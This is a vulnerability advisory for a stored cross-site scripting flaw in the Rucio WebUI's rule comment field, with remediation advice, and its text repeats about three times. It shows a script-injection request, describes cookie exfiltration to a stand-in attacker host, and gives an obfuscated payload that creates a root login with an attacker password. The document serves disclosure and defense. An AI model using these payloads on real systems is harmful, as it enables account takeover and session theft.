CVE-2026-25733

Rucio is a software framework that provides functionality to organize, manage, and access large volumes of scientific data using customizable policies. Versions prior to 35.8.3, 38.5.4, and 39.3.1 have a stored Cross-Site Scripting (XSS) vulnerability in the Custom Rules function of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions. Versions 35.8.3, 38.5.4, and 39.3.1 fix the issue.

Rucio is a software framework that provides functionality to organize, manage, and access large volumes of scientific data using customizable policies. Versions prior to 35.8.3, 38.5.4, and 39.3.1 have a stored Cross-Site Scripting (XSS) vulnerability in the Custom Rules function of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions. Versions 35.8.3, 38.5.4, and 39.3.1 fix the issue.

Summary

A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom Rules function of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

Details

A malicious payload supplied in the comment field is stored by the backend. When the rule is later viewed or approved, the stored script executes in the WebUI origin.

Create Path:
Monitoring > Subscriptions and Rules > Request New Rule > Options > Add Comment

Trigger Paths:

• User Trigger: Monitoring > Subscriptions and Rules > Show My Rules > RULE NAME
  (https://localhost:8443/ui/rule?rule_id=<RULE_ID>)
• Admin Trigger: Data Transfer (R2D2) > Approve Rules > RULE NAME

Create Request

POST /proxy/rules/ HTTP/1.1
...
{"dids":[{"scope":"test","name":"dataset1"}],"account":"pentest","ask_approval":true,"activity":"User Subscriptions","rse_expression":"WEB1","copies":1,"grouping":"DATASET","lifetime":15552000,"comment":"<script>alert(document.cookie)</script>","asynchronous":false,"notify":"N"}

Response

HTTP/1.1 201 CREATED
...
["c2d675c1979d4549b26eede3531a7e6a"]

Creating RSE with XSS payload in comment <img width="1032" height="667" alt="Creating RSE with XSS payload in comment" src="https://github.com/user-attachments/assets/00258839-5288-48ed-856c-30cfee19d3c4" />

Reviewing rule creation requests <img width="1201" height="625" alt="Reviewing rule creation requests" src="https://github.com/user-attachments/assets/1b5fc7af-a664-42dc-a3d4-b00755fe2bd7" />

XSS Payload triggering on rule review <img width="1197" height="417" alt="XXS Payload triggering on rule review" src="https://github.com/user-attachments/assets/463e843a-1e9e-492e-960f-7d3edac2fd1e" />

Impact

Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by:

• Session cookies that are accessible to JavaScript (missing HttpOnly flag).
• API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'[email protected]','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Remediation / Mitigation

All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include:

• Enforcing a strict Content Security Policy (CSP).
• Setting the HttpOnly flag on session cookies.
• Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)

Resources

• OWASP…

Rucio is a software framework that provides functionality to organize, manage, and access large volumes of scientific data using customizable policies. Versions prior to 35.8.3, 38.5.4, and 39.3.1 have a stored Cross-Site Scripting (XSS) vulnerability in the Custom Rules function of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions. Versions 35.8.3, 38.5.4, and 39.3.1 fix the issue.

Rucio is a software framework that provides functionality to organize, manage, and access large volumes of scientific data using customizable policies. Versions prior to 35.8.3, 38.5.4, and 39.3.1 have a stored Cross-Site Scripting (XSS) vulnerability in the Custom Rules function of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions. Versions 35.8.3, 38.5.4, and 39.3.1 fix the issue.

Summary

A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom Rules function of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

Details

A malicious payload supplied in the comment field is stored by the backend. When the rule is later viewed or approved, the stored script executes in the WebUI origin.

Create Path:
Monitoring > Subscriptions and Rules > Request New Rule > Options > Add Comment

Trigger Paths:

• User Trigger: Monitoring > Subscriptions and Rules > Show My Rules > RULE NAME
  (https://localhost:8443/ui/rule?rule_id=<RULE_ID>)
• Admin Trigger: Data Transfer (R2D2) > Approve Rules > RULE NAME

Create Request

POST /proxy/rules/ HTTP/1.1
...
{"dids":[{"scope":"test","name":"dataset1"}],"account":"pentest","ask_approval":true,"activity":"User Subscriptions","rse_expression":"WEB1","copies":1,"grouping":"DATASET","lifetime":15552000,"comment":"<script>alert(document.cookie)</script>","asynchronous":false,"notify":"N"}

Response

HTTP/1.1 201 CREATED
...
["c2d675c1979d4549b26eede3531a7e6a"]

Creating RSE with XSS payload in comment <img width="1032" height="667" alt="Creating RSE with XSS payload in comment" src="https://github.com/user-attachments/assets/00258839-5288-48ed-856c-30cfee19d3c4" />

Reviewing rule creation requests <img width="1201" height="625" alt="Reviewing rule creation requests" src="https://github.com/user-attachments/assets/1b5fc7af-a664-42dc-a3d4-b00755fe2bd7" />

XSS Payload triggering on rule review <img width="1197" height="417" alt="XXS Payload triggering on rule review" src="https://github.com/user-attachments/assets/463e843a-1e9e-492e-960f-7d3edac2fd1e" />

Impact

Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by:

• Session cookies that are accessible to JavaScript (missing HttpOnly flag).
• API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'[email protected]','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Remediation / Mitigation

All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include:

• Enforcing a strict Content Security Policy (CSP).
• Setting the HttpOnly flag on session cookies.
• Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)

Resources

• OWASP…

Summary

A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom Rules function of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

Details

A malicious payload supplied in the comment field is stored by the backend. When the rule is later viewed or approved, the stored script executes in the WebUI origin.

Create Path:
Monitoring > Subscriptions and Rules > Request New Rule > Options > Add Comment

Trigger Paths:

• User Trigger: Monitoring > Subscriptions and Rules > Show My Rules > RULE NAME
  (https://localhost:8443/ui/rule?rule_id=<RULE_ID>)
• Admin Trigger: Data Transfer (R2D2) > Approve Rules > RULE NAME

Create Request

POST /proxy/rules/ HTTP/1.1
...
{"dids":[{"scope":"test","name":"dataset1"}],"account":"pentest","ask_approval":true,"activity":"User Subscriptions","rse_expression":"WEB1","copies":1,"grouping":"DATASET","lifetime":15552000,"comment":"<script>alert(document.cookie)</script>","asynchronous":false,"notify":"N"}

Response

HTTP/1.1 201 CREATED
...
["c2d675c1979d4549b26eede3531a7e6a"]

Creating RSE with XSS payload in comment <img width="1032" height="667" alt="Creating RSE with XSS payload in comment" src="https://github.com/user-attachments/assets/00258839-5288-48ed-856c-30cfee19d3c4" />

Reviewing rule creation requests <img width="1201" height="625" alt="Reviewing rule creation requests" src="https://github.com/user-attachments/assets/1b5fc7af-a664-42dc-a3d4-b00755fe2bd7" />

XSS Payload triggering on rule review <img width="1197" height="417" alt="XXS Payload triggering on rule review" src="https://github.com/user-attachments/assets/463e843a-1e9e-492e-960f-7d3edac2fd1e" />

Impact

Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by:

• Session cookies that are accessible to JavaScript (missing HttpOnly flag).
• API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'[email protected]','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Remediation / Mitigation

All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include:

• Enforcing a strict Content Security Policy (CSP).
• Setting the HttpOnly flag on session cookies.
• Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)

Resources

• OWASP…